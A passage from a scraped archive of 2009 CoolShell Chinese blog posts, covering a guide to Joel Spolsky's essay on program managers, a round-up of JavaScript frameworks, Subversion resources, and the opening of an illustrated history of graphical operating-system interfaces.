[![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux Distribution Timeline](https://coolshell.cn/articles/85.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-10 怎样做一个 Program Manager.md",
    "content": "---\nlayout: post\ntitle: 怎样做一个 Program Manager\ndate: 2009/3/10/ 7:50:31\nupdated: 2009/3/10/ 7:50:31\nstatus: publish\npublished: true\ntype: post\n---\n\n我个人认为，这是一篇不错的文章，虽然我不是Program Mananger，但是我几乎在做着和这个职位很相似的工作。在这里，我把这篇文章推荐给所有的程序员，我相信，这篇文章会让你明白，只有技术是远远不够的，因为没有Program Manager这个角色，程序员们只不过一些手中拿着利器却不知所措的散兵游勇。我希望我的导读和原文能给所有的程序带来启示。\n\n\n**原文在这里：**  \n\n“How to be a program manager”  \n\n<http://www.joelonsoftware.com/items/2009/03/09.html>\n\n\n[![09meeting-thumbnail](../wp-content/uploads/2009/03/09meeting-thumbnail-300x198.jpg \"09meeting-thumbnail\")](https://coolshell.cn/wp-content/uploads/2009/03/09meeting-thumbnail.jpg)这篇文章的作者叫Joel Spolsky，在Microsoft做过Program Manager，这篇文章非常值得一读。下面是我给大家做的一个导读：\n\n\n首先，他讲了两个人，一个是负责WYSIWYG 字处理的天才级的Program Manager——Charles Simonyi，第二个是上世纪80年代的负责Mac OS上的Excel项目的程序员Jabe Blumenthal，他发现了程序员和市场人员的代沟，Marketing的人很难通过把MBA-Speaking翻译成实际的Feature，并且，有太多的和编码不相关的工作，比如说，和用户交谈，运行usability测试，Reivew竞争者的产品，并且得冥思苦想怎么能让事情变得更简单，而我们的程序员通常来说即不具备这样的时间，也不具备这样的能力。于是，Jabe开始了他的Program Manager的生涯。\n\n\n\n**工作范围**\n\n\n作者在第二节里说了一个PM主要负责哪些事务：\n\n\n1. Design UIs （用户界面的设计）\n2. Write functional specs （书写功能规格说明书）\n3. Coordinate teams （团队协调）\n4. Serve as the customer advocate, and （从用户角度思考问题）\n5. Wear Banana Republic chinos （Banana Republic是一个服装品牌，意思是作者在调侃PM需要衣冠楚楚，而不像程序员们只有T恤或牛仔裤）\n\n\n接下来，作者讲述了他第一份Program Manager工作的经历，非常有意思，那是一个关于Excel 用户定制化的项目（耗子注：应该是在Excel中加入VBScript的项目吧，就是所谓的宏）。\n\n\n第一个阶段\n\n\n* 首先，作者找了很多很多的用户谈论了这个什么是最有用最合理的实现，这是一个非常巨大的工作，花费了非常多的精力和时间。\n* 然后，作者找到了Visual Basic团队询问了是否可能给Excel提供一个编译器和代码编辑器，以便实现“宏”。\n* 接着，作者查看了一下Apple上面的AppleScript这种宏，取了取经。\n* 最后，作者同 Word, Access, Project, 和Mail团队们讨论了很多很多。\n\n\n作者说，这个阶段的工作让他满是伤痕，他甚至害怕听到手机铃响。\n\n\n第二个阶段\n\n\n* 确定大方向。他开始写下Visual Baisc应该怎么样在Excel里面工作的文档。并提供了一些简单的宏的样子。这应该是high-level的Functional Spec。\n* 当大的方向确定后，他开始了一些更为细节的功能规格说明的书写。这就是所谓的Functional Specification. (耗子注：这份文档应该只是说明从用户的角度上来看这个产品长成什么样，而不是实现)\n* 虽然FS并不需要说明怎么去实现，但这份文档应该是需要非常详细地说明整个Excel和VBScript怎么相互交互的，这是其中最重要的部分。\n* 当作者把FS的一个初始化版本发给开发团队（Ben Waldman）时，开发团队非常快地实现出了一个原型，并提供了面向对象的相关接口。但可惜的是，那并不是Program Manger所想要的。\n* 作者描述了一个细节如果帮助开发团队解决技术难点的例子。那是关于把一个Excel中的一个cell的值取出来的例子。当时，developer团队认为这是一个难点，因为这个值可能是任意类型的。而VB中却需要先声明变量的类型。后来，作者找到了VB的开发团队，了解到了Variants 和IDispatch可以做到这个。\n\n\n我们可以看到，FS在这样反复地和developer 团队推敲，甚至去帮助程序员解决技术难题，之后最终才能确定下来。一旦FS确定后，program manger需要做两件事：\n\n\n1. 负责解释相关的问题。\n2. 组织并形成相关的design。\n\n\n也就是说，除了对FS解释外，需还需要把What needs to do 变成 How to do的设计文档。另外，Program Manager可能会有下面的工作：\n\n\n* 测试人员会对FS有很多很多疑问，因为他们需要知道怎么样去测试这些FS中所包含的东西。\n* 和文档团队商讨如何写一个好的教程或是一个参考文档。\n* 和localization 团队制定localization 的策略。\n* 和市场人员说明VBA的优势和功能。\n\n\n我们可以看到，作者有太多，太多的会议和太多的与人沟通的事务，真是一个不简单的工作啊。\n\n\n**冲突管理**\n\n\n后面，作者着重讲了“Conflicts”冲突，这可能是所有的团队都会有的问题。而我们的Program Manager因为要和那么多的人沟通交流，所以，必然会需要有一种超人的能力去管理与人的发生的观点上的冲突。作者，在这里说了和程序员发生的很多争论，因为Program Manager是从用户的角度出发，而我们程序员总是从技术和实现的角度出发，不同的角度必然会引发冲突。作者举了一个例子，他说，用户们喜欢一个“心灵感应”的界面和一个30英寸的显示器，而我们的程序员喜欢的只是用Python搞的命令行接口。呵呵。另外，作者引用了一个Excel中的“pivot tables ”所引发的一个历时最长的争议作为案例。\n\n\n最后，作者讨论了，争论是一个很好的事，就好像法院里的原告和被告都有自己的辩护律师一样，这有助于人们逼近事物的真相。对于软件开发也一样，良好的争论其实是对产品有好处的。我们应该在争论中关注事。\n\n\n当在讨论到和程序相处的过程，作者说到了和程序员相外并不是一件很容易的事，因为你并不编码而也没有技术能力，通常会受到程序员的冷眼。所以在和程序沟通的过程中需要保证两件事：1）确信自己的正确的。2）让程序员尊敬自己。而对于第二点，如何让程序员尊敬自己，作者发表了自己的见解：1）demonstrate intelligence（展示自己的才华），2）open-mindedness（心胸宽阔），3）fairness（公平，正直）。千万不要搞办公室政治，或是开私密的经理会，等等。不然的话，你必然受到排挤。\n\n\n**推荐读物**\n\n\n最后作者给大家推荐了一些很不错的读物：\n\n\n* [Making Things Happen](http://www.amazon.com/gp/product/0596517718?ie=UTF8&tag=joelonsoftware&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596517718 \"blocked::http://www.amazon.com/gp/product/0596517718?ie=UTF8&tag=joelonsoftware&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596517718\") （经理一般都在干什么？）\n* [Don’t Make Me Think](http://www.amazon.com/gp/product/0321344758?ie=UTF8&tag=joelonsoftware&linkCode=as2&camp=1789&creative=390957&creativeASIN=0321344758 \"blocked::http://www.amazon.com/gp/product/0321344758?ie=UTF8&tag=joelonsoftware&linkCode=as2&camp=1789&creative=390957&creativeASIN=0321344758\")  （如果你要写FS或UI设计，你应该看看这本书）\n* [User Interface Design for Programmers](http://www.amazon.com/gp/product/1893115941?ie=UTF8&tag=joelonsoftware&linkCode=as2&camp=1789&creative=390957&creativeASIN=1893115941 \"blocked::http://www.amazon.com/gp/product/1893115941?ie=UTF8&tag=joelonsoftware&linkCode=as2&camp=1789&creative=390957&creativeASIN=1893115941\"). （作者自己的书，关于UI设计）\n* [How to Win Friends & Influence People](http://www.amazon.com/gp/product/0671027034?ie=UTF8&tag=joelonsoftware&linkCode=as2&camp=1789&creative=390957&creativeASIN=0671027034 \"blocked::http://www.amazon.com/gp/product/0671027034?ie=UTF8&tag=joelonsoftware&linkCode=as2&camp=1789&creative=390957&creativeASIN=0671027034\") （在人际关系方面，需要看看这本书）\n\n\n（完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2681.html)[Kent Beck 谈单元测试和持续部署](https://coolshell.cn/articles/2681.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2539.html)[参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍](https://coolshell.cn/articles/2539.html)\n* [![Richard Feynman, 挑战者号, 软件工程](../wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg)](https://coolshell.cn/articles/1654.html)[Richard Feynman, 挑战者号, 软件工程](https://coolshell.cn/articles/1654.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/971.html)[质量管理经中的八个法则](https://coolshell.cn/articles/971.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/796.html)[5个不错的3D素材网站](https://coolshell.cn/articles/796.html)\n* [![Amazon的书为什么卖到了$2000万](../wp-content/uploads/2011/04/lawrence_1-150x150.png)](https://coolshell.cn/articles/4605.html)[Amazon的书为什么卖到了$2000万](https://coolshell.cn/articles/4605.html)\nThe post [怎样做一个 Program Manager](https://coolshell.cn/articles/76.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-11 十个开源的Javascript框架.md",
    "content": "---\nlayout: post\ntitle: 十个开源的Javascript框架\ndate: 2009/3/11/ 13:48:27\nupdated: 2009/3/11/ 13:48:27\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是十个最牛的也是最流行的Javascript框架。它们完全可以担任目前世界上几乎所有一些和Ajax技术相关的和图形界面相关的一切功能。\n\n\n- jQuery\n------\n\n<http://jquery.com/>\n\n\n[http://www.ajaxline.com/files/jquery.png](http://jquery.com/)\n\n\n如果今天你还不知道jQuery的话，那么作为一个程序员你可能真的是从火星来的了。这恐怕是Ajax中应用最广的框架。包括了许多很不错的UI组件，做出网页的效果也是令人称道的。不过，他最牛的是它的文件大小，只有区区18K，实在是居家旅行，网站开发之首选。\n\n\n 下面是一个日历控件，很不错吧。\n\n\n[http://www.ajaxline.com/files/jquerygui.PNG](http://jqueryui.com/) \n\n\n\n- Prototype\n---------\n\n<http://prototypejs.org/>\n\n\n[http://www.ajaxline.com/files/prototypejs.png](http://prototypejs.org/) \n\n\n一个面向对象的javascript类库，包函了很多很多很实用的功能，很多其它的框架都使用了他作为基础类库。大小128K，有点大，还好。下面一其一个UI的示例。\n\n\n[http://www.ajaxline.com/files/protoui.PNG](http://www.prototype-ui.com/)\n\n\n- script.aculo.us\n---------------\n\n<http://script.aculo.us/>\n\n\n[http://www.ajaxline.com/files/scriptaculous.png](http://script.aculo.us/) \n\n\n这个框架是基础上面那个框架（Prototype ）上开发的，它被包含在Ruby on Rails框架中（<http://rubyonrails.org/>）。\n\n\n- MooTools\n--------\n\n<http://mootools.net/>\n\n\n[http://www.ajaxline.com/files/Mootools.png](http://mootools.net/) \n\n\n这是一个紧凑的，模块化的，面向对象风格的javascript框架，这并不是一个能直接用上的Javascript，他主要给程序员们方便地进行开发更高级的组件，因为这个框架主要是面对开发人员的，所以他是非常灵活和非常强大的。也不大，才63K。\n\n\n- ExtJS\n-----\n\n<http://extjs.com/products/extjs/>\n\n\n[http://www.ajaxline.com/files/extjs.png](http://extjs.com/products/extjs/)这是一个超级强大的Javascripts类库，简直是包罗万像，就像机器猫的口袋，想要什么就有什么。UI组件多的是令人发指，功能也是强大到不行。当然，其类库的尺寸也是强大到不行，一共6.6M，还是被压缩过的。看看下面的UI示例吧，这只不过是冰山一角。\n\n\n**我个人认为这个是所有框架里面最好的一个。**\n\n\n[http://www.ajaxline.com/files/extjs_ex.PNG](http://extjs.com/products/extjs/) \n\n\n- Qooxdoo\n-------\n\n<http://qooxdoo.org/>\n\n\n[http://www.ajaxline.com/files/qooxdoo.gif](http://qooxdoo.org/) \n\n\nExjs才6.6M，这个javascript类库居然有19.9M，正所谓一山还有一山高，没有最BT，只有更BT。它包括一个独立于平台的开发工具链，一个最先进的图形用户界面工具和先进的客户端与服务器之间的通讯层。下面是其UI示例：\n\n\n[http://www.ajaxline.com/files/qoox_ex.PNG](http://qooxdoo.org/) \n\n\n- Yahoo! UI Library (YUI)\n-----------------------\n\n<http://developer.yahoo.com/yui/>\n\n\n[http://www.ajaxline.com/files/yui.jpg](http://developer.yahoo.com/yui/) \n\n\n如果你不知道YUI的话，那么我想告诉你的是，你一定是在离地球20亿光年的亚美尼亚星居住。这个YUI类库也是包罗万象，他最好的不但是条件非常宽松的BSD的License，而且，你不必像别的类库一下，管你用不用你都要全部文件。YUI除了基础库外，你用多少就下载多少。这么丰富的UI也只有10.5M的大小，还OK了。下面是一个演示：\n\n\n[http://www.ajaxline.com/files/yui_ex.PNG](http://developer.yahoo.com/yui/) \n\n\n- MochiKit\n--------\n\n<http://www.mochikit.com/>\n\n\n一个很轻量级的类库，主要实际了异步请求的若干功能。\n\n\n[http://www.ajaxline.com/files/mochikit.PNG](http://www.mochikit.com/) \n\n\n \n\n\n- Midori\n------\n\n<http://www.midorijs.com/>\n\n\n又一个轻量级的类库，没有用过。只有45K大小。主要是一些UI上的美化吧。\n\n\n[http://www.ajaxline.com/files/midory.png](http://www.midorijs.com/)\n\n\n示例： \n\n\n[http://www.ajaxline.com/files/midori_ex.PNG](http://www.midorijs.com/) \n\n\n- The Dojo Toolkit\n----------------\n\n<http://www.dojotoolkit.org/>\n\n\n[http://www.ajaxline.com/files/dojo.png](http://www.dojotoolkit.org/) \n\n\n又一个超强大的类库，提供了非常丰富的UI。BSD的license，大小1.7M，看看下面的UI示例你就知道有多强大了。\n\n\n[http://www.ajaxline.com/files/dojo_ex.PNG](http://www.dojotoolkit.org/)\n\n\n文章：[来源](http://www.ajaxline.com/10-most-popular-javascript-frameworks)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2593.html)[Web版的VNC](https://coolshell.cn/articles/2593.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/909.html)[7个免费强大的Ajax文件管理器](https://coolshell.cn/articles/909.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\nThe post [十个开源的Javascript框架](https://coolshell.cn/articles/91.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-11 版本控制Subversion相关资源.md",
    "content": "---\nlayout: post\ntitle: 版本控制Subversion相关资源\ndate: 2009/3/11/ 14:16:26\nupdated: 2009/3/11/ 14:16:26\nstatus: publish\npublished: true\ntype: post\n---\n\n\n入门教程\n----\n\n\n* [Subversion Cheat Sheet](http://www.abbeyworkshop.com/howto/misc/svn01/)（[PDF version](http://ariejan.net/upload/svncheatsheet-1.0.1.pdf)）\n* [The Subversion Book](http://svnbook.red-bean.com/en/1.5/index.html)\n* [Subversion Official Documentation](http://svn.collab.net/svn-doxygen/)\n* [SVN 1-Click Setup](http://svn1clicksetup.tigris.org/)\n\n\nSubversion客户端\n-------------\n\n\n* [Tortoise SVN](http://tortoisesvn.tigris.org/) (Windows only)\n\n\n[![tortoisesvn](../wp-content/uploads/2009/03/tortoisesvn.png \"tortoisesvn\")](https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn.png)\n\n\n\n* [Cornerstone](http://www.zennaware.com/cornerstone/) (Mac only)\n* [Workbench](http://pysvn.tigris.org/)\n* [SmartSVN](http://www.syntevo.com/smartsvn/index.html)\n\n\n[![auto](../wp-content/uploads/2009/03/auto-300x105.gif \"auto\")](https://coolshell.cn/wp-content/uploads/2009/03/auto.gif)\n\n\n* [Versions](http://www.versionsapp.com/) (Mac only)\n\n\n[![versions](../wp-content/uploads/2009/03/versions-300x193.jpg \"versions\")](https://coolshell.cn/wp-content/uploads/2009/03/versions.jpg)\n\n\n* [Subclipse](http://subclipse.tigris.org/)\n\n\n[![ecl](../wp-content/uploads/2009/03/ecl-297x300.gif \"ecl\")](https://coolshell.cn/wp-content/uploads/2009/03/ecl.gif)\n\n\n* [Subcommander](http://subcommander.tigris.org/)\n* [FSVS](http://fsvs.tigris.org/) “Fast System Versioning”,\n* [Syncro SVN Client](http://www.syncrosvnclient.com/)\n\n\n[![jano](../wp-content/uploads/2009/03/jano-300x277.gif \"jano\")](https://coolshell.cn/wp-content/uploads/2009/03/jano.gif)\n\n\n* [scplugin](http://scplugin.tigris.org/) (Mac only)\n* [iPhone SVN Log Viewer](http://www.qaware.de/qasvn/QAsvn.html)\n\n\nIDE插件\n-----\n\n\n* [Subclipse](http://subclipse.tigris.org/)（[Eclipse IDE](http://www.eclipse.org/) for Java）\n\n\n[![subclipse](../wp-content/uploads/2009/03/subclipse-300x168.png \"subclipse\")](https://coolshell.cn/wp-content/uploads/2009/03/subclipse.png)\n\n\n\n* [AnkhSVN](http://ankhsvn.open.collab.net/)（Microsoft’s [Visual Studio](http://www.microsoft.com/visualstudio/en-us/default.mspx)）\n\n\n[![ankshsvn](../wp-content/uploads/2009/03/ankshsvn-300x236.png \"ankshsvn\")](https://coolshell.cn/wp-content/uploads/2009/03/ankshsvn.png)\n\n\n* [How to Ignore IDE Project Files in Subversion](https://www.opends.org/wiki/page/ConfiguringSubversionToIgnoreIDEProjectFiles)\n\n\nSVN 浏览器\n-------\n\n\n* [Trac](http://trac.edgewall.org/)\n* [Warehouse](http://warehouseapp.com/)\n* [WebSVN](http://www.websvn.info/)\n* [Insurrection](http://insurrection.tigris.org/)\n* [Polarion WebClient for SVN](http://www.polarion.org/index.php?page=overview&project=svnwebclient)\n\n\n[![warehouse2](../wp-content/uploads/2009/03/warehouse2-300x240.jpg \"warehouse2\")](https://coolshell.cn/wp-content/uploads/2009/03/warehouse2.jpg)\n\n\nSVN主机\n-----\n\n\n* [Google Code](http://code.google.com/)\n* [CVSDude](http://cvsdude.com/) （$5.99 /月）\n* [Beanstalk](http://www.beanstalkapp.com/)（$15/月 ）\n* [Unfuddle](http://unfuddle.com/)（$9/月）\n* [Assembla](http://www.assembla.com/)（$2/月）\n\n\nSubversion社区\n------------\n\n\n* [SVNForum](http://svnforum.org/)\n* [openCollabNet](http://open.collab.net/)\n\n\nSubversion图书\n------------\n\n\n* [Subversion in Action](http://www.manning.com/machols/)\n* [Practical Subversion](http://www.apress.com/book/view/1590597532)\n* [Pragmatic Version Control Using Subversion](http://www.pragprog.com/titles/svn2/pragmatic-version-control-using-subversion)\n* [Subversion Version Control: Using the Subversion Version Control System in Development Projects](http://www.amazon.com/Subversion-Version-Control-Development-Projects/dp/0131855182/ref=pd_sim_b_15)\n\n\nSubversion 相关文章\n---------------\n\n\n* [Subversion for Web Projects](http://athleticsnyc.com/blog/entry/on-using-subversion-for-web-projects)\n* [Making the Jump to SVN](http://www.macdevcenter.com/pub/a/mac/2004/08/10/subversion.html)\n* [Keeping Your Life in Subversion](http://www.onlamp.com/pub/a/onlamp/2005/01/06/svn_homedir.html)\n* [How to Set Up a Personal Home Subversion Server](http://lifehacker.com/software/subversion/hack-attack-how-to-set-up-a-personal-home-subversion-server-188582.php)\n* [How to Set Up Subversion and websvn on Debian](http://www.howtoforge.com/debian_subversion_websvn)\n* [Mirroring a Subversion Repository](https://www.opends.org/wiki/page/MirroringASubversionRepository)\n* [Configuring Subversion to Use a Proxy Server](https://www.opends.org/wiki/page/ConfiguringSubversionToUseAProxyServer)\n* [Maintaining an SVN Mirror Directly from Git](http://blog.fallingsnow.net/2007/08/17/maintaining-an-svn-mirror-directly-from-git/)\n* [Top 10 Subversion Tips for CVS Users](http://www.onlamp.com/pub/a/onlamp/2004/08/19/subversiontips.html)\n* [Mergeinfo – Understanding the Internals](http://www.collab.net/community/subversion/articles/merge-info.html)\n\n\n文章：[来源](http://www.smashingmagazine.com/2009/03/10/ultimate-round-up-for-version-control-with-subversion/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![版本管理器的发展史](../wp-content/uploads/2010/11/scmhistory-150x150.png)](https://coolshell.cn/articles/3288.html)[版本管理器的发展史](https://coolshell.cn/articles/3288.html)\n* [![Git显示漂亮日志的小技巧](../wp-content/uploads/2012/06/git.log_.01-150x150.png)](https://coolshell.cn/articles/7755.html)[Git显示漂亮日志的小技巧](https://coolshell.cn/articles/7755.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/2492.html)[WTF Javascript](https://coolshell.cn/articles/2492.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/428.html)[程序员需要具备的基本技能](https://coolshell.cn/articles/428.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2451.html)[Twitter的禁用口令](https://coolshell.cn/articles/2451.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4811.html)[软件真的好难做啊](https://coolshell.cn/articles/4811.html)\nThe post [版本控制Subversion相关资源](https://coolshell.cn/articles/93.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-12 操作系统图形界面发展史(1981-2009).md",
    "content": "---\nlayout: post\ntitle: 操作系统图形界面发展史(1981-2009)\ndate: 2009/3/12/ 9:23:40\nupdated: 2009/3/12/ 9:23:40\nstatus: publish\npublished: true\ntype: post\n---\n\n \n\n\n[![19-windows-3](../wp-content/uploads/2009/03/19-windows-3-150x150.gif \"19-windows-3\")](https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3.gif)注意，本文这罗列了从1981年以来有重大意义的操作系统的图形界面。\n\n\n**首先，先介绍两个网站：**\n\n\n* [**http://www.guidebookgallery.org/**](http://www.guidebookgallery.org/) 如果你比较关注图形化UI的设计， 可以上这个网站上看看。\n* [**http://toastytech.com/guis/index.html**](http://toastytech.com/guis/index.html) 这是一个操作系统图形界面收集的网站，上面几科包括了所有的操作系统图形界面。\n\n\n \n\n\n\n 下面，让我们先来看看PC机上的第一个图形界面——[**Xerox Alto**](http://en.wikipedia.org/wiki/Xerox_Alto)(该系统并未商用，主要用于研究和大学)，其于1973年被施乐公司[**Xerox Palo Alto Research Center (PARC)**](http://en.wikipedia.org/wiki/Xerox_PARC)所设计，从此，开启了计算机图形界面的新纪元，80年代以来，操作系统的界面设计经历了众多变迁，OS/2, Macintosh, Windows, Linux, Symbian OS ，各种操作系统将 GUI 设计带进新的时代。下面是其图片（70年代的东西看起来还不错哦）\n\n\n[![01](../wp-content/uploads/2009/03/01.gif \"01\")](https://coolshell.cn/wp-content/uploads/2009/03/01.gif)  \n\n*Source:* [***toastytech.com***](http://toastytech.com/guis/altoboot1.gif)\n\n\n \n\n\n1981-1985\n---------\n\n\n**Xerox 8010 Star** (released in 1981)\n--------------------------------------\n\n\n这是第一个完整地集成了桌面和应用程序以及图形界面的操作系统，人们一开始叫它“*Xerox Star*”，然后又叫“*ViewPoint*”，再以后又叫作“*GlobalView*”。\n\n\n*[![02-xerox-8010-star](../wp-content/uploads/2009/03/02-xerox-8010-star.gif \"02-xerox-8010-star\")](https://coolshell.cn/wp-content/uploads/2009/03/02-xerox-8010-star.gif)Xerox 8010 Star, Source:* [***toastytech.com***](http://toastytech.com/guis/starbitmap2.gif)\n\n\n \n\n\n**Apple Lisa Office System 1 (released in 1983)**\n-------------------------------------------------\n\n\n这个操作系统也叫Lisa OS，这里的OS是Office System的缩写。它由Apple公司开发主要目的用于文档处理工作站。不幸的是，这款机器的寿命并不长，最终这个工作站被更便宜的Apple的Macintosh操作系统所取代。Lisa OS 几个升级包括 1983年的 Lisa OS2, 1984年的 Lisa OS 7/7 3.1。下面是其操作系统截图。\n\n\n*![03-apple-lisa-1](../wp-content/uploads/2009/03/03-apple-lisa-1.gif \"03-apple-lisa-1\")Apple Lisa OS 1, Source:* [***GUIdebook***](http://www.guidebookgallery.org/screenshots/lisaos10)\n\n\n**VisiCorp Visi On (released in 1984)**\n---------------------------------------\n\n\n下面是IBM PC上的第一个图形界面的操作系统，叫Visi，其主要是给大公司用的，当然其价格也是非常高昂的。这个图形界面使用了鼠标，内置的安装程序以及帮助文档，但没有使用icon。下面是截图。\n\n\n*[![05-visi-on](../wp-content/uploads/2009/03/05-visi-on.gif \"05-visi-on\")](https://coolshell.cn/wp-content/uploads/2009/03/05-visi-on.gif)  \n\n[![06-visi-on](../wp-content/uploads/2009/03/06-visi-on.jpg \"06-visi-on\")](https://coolshell.cn/wp-content/uploads/2009/03/06-visi-on.jpg)  \n\nVisiCoprt Visi On, Source:* [***toastytech.com***](http://toastytech.com/guis/vision3.html)\n\n\n**Mac OS System 1.0 (released in 1984)**\n----------------------------------------\n\n\nMac OS System 1.0是第一个划时代的图形界面，因为它其中的很多技术到今天还在使用。比如，基于窗口用图标的UI，窗口可以被鼠标移动，可以使用鼠标拖动文件和目录以完成文件的copy和move。\n\n\n*[![07-mac-os-1](../wp-content/uploads/2009/03/07-mac-os-1.gif \"07-mac-os-1\")](https://coolshell.cn/wp-content/uploads/2009/03/07-mac-os-1.gif)  \n\nApple Mac System 1.0, Source:* [***toastytech.com***](http://toastytech.com/guis/macos1.html)\n\n\n**Amiga Workbench 1.0 (released in 1985)**\n------------------------------------------\n\n\nAmiga在第一次release出来是超前的，它支持背景色的更换四色:黑，白，蓝，橙），原始的多任务处理，还有立体声，以及多状态的图标（选中和未选中）\n\n\n*[![09-amiga-workbench-10](../wp-content/uploads/2009/03/09-amiga-workbench-10.gif \"09-amiga-workbench-10\")](https://coolshell.cn/wp-content/uploads/2009/03/09-amiga-workbench-10.gif)  \n\nAmiga Workbench 1.0, Source:* [***GUIdebook***](http://www.guidebookgallery.org/screenshots/amigaos10)\n\n\n**Windows 1.0x (released in 1985)**\n-----------------------------------\n\n\n微软作为一个图形界面的狂热者，在图形界面上的有着执着的热情，1985年，微软终于在图形用户界面大潮中占据了一席之地，Windows 1.0 是其第一款基于 GUI 的操作系统 。使用了 32×32 像素的图标以及彩色图形，其最有趣的功能是模拟时钟动画图标。\n\n\n*[![10-windows-1](../wp-content/uploads/2009/03/10-windows-1.gif \"10-windows-1\")](https://coolshell.cn/wp-content/uploads/2009/03/10-windows-1.gif)Microsoft Windows 1.01, Source: [***makowski-berlin.de***](http://www.makowski-berlin.de/)*\n \n\n\n[![11-windows-11](../wp-content/uploads/2009/03/11-windows-11.gif \"11-windows-11\")](https://coolshell.cn/wp-content/uploads/2009/03/11-windows-11.gif)  \n\nMicrosoft Windows 1.01, Source: [***makowski-berlin.de***](http://www.makowski-berlin.de/)\n\n\n \n\n\n1986 – 1990\n-----------\n\n\n**IRIX 3 (released in 1986, first release 1984)**\n-------------------------------------------------\n\n\n64位的IRIX操作系统源自UNIX。它的一个有趣功能是支持矢量图标，这个功能远在 Max OS X 面世前就出现了。下面是截图（看起来，比Windows成熟了太多了）\n\n\n*[![12-irix-3](../wp-content/uploads/2009/03/12-irix-3.jpg \"12-irix-3\")](https://coolshell.cn/wp-content/uploads/2009/03/12-irix-3.jpg)  \n\nSilicon Graphics IRIX 3.0, Source:* [***osnews.com***](http://www.osnews.com/story/1859/SGI_SPECIAL:_Introducing_the_Jewel_of_UNIX_the_64-bit_IRIX_OS)\n\n\n**Windows 2.0x (released in 1987)**\n-----------------------------------\n\n\nWindows在这个版本有重大的改进。比如窗口可以重叠，可以改变大小，可以最大化和最小化。下面是截图。\n\n\n*[![13-windows-2](../wp-content/uploads/2009/03/13-windows-2.gif \"13-windows-2\")](https://coolshell.cn/wp-content/uploads/2009/03/13-windows-2.gif)*\n\n\n \n\n\n*Microsoft Windows 2.03, Source: [***guidebookgallery.org***](http://www.guidebookgallery.org/screenshots/win203)*\n [![14-windows-21](../wp-content/uploads/2009/03/14-windows-21.gif \"14-windows-21\")](https://coolshell.cn/wp-content/uploads/2009/03/14-windows-21.gif)  \n\nMicrosoft Windows 2.03, Source: 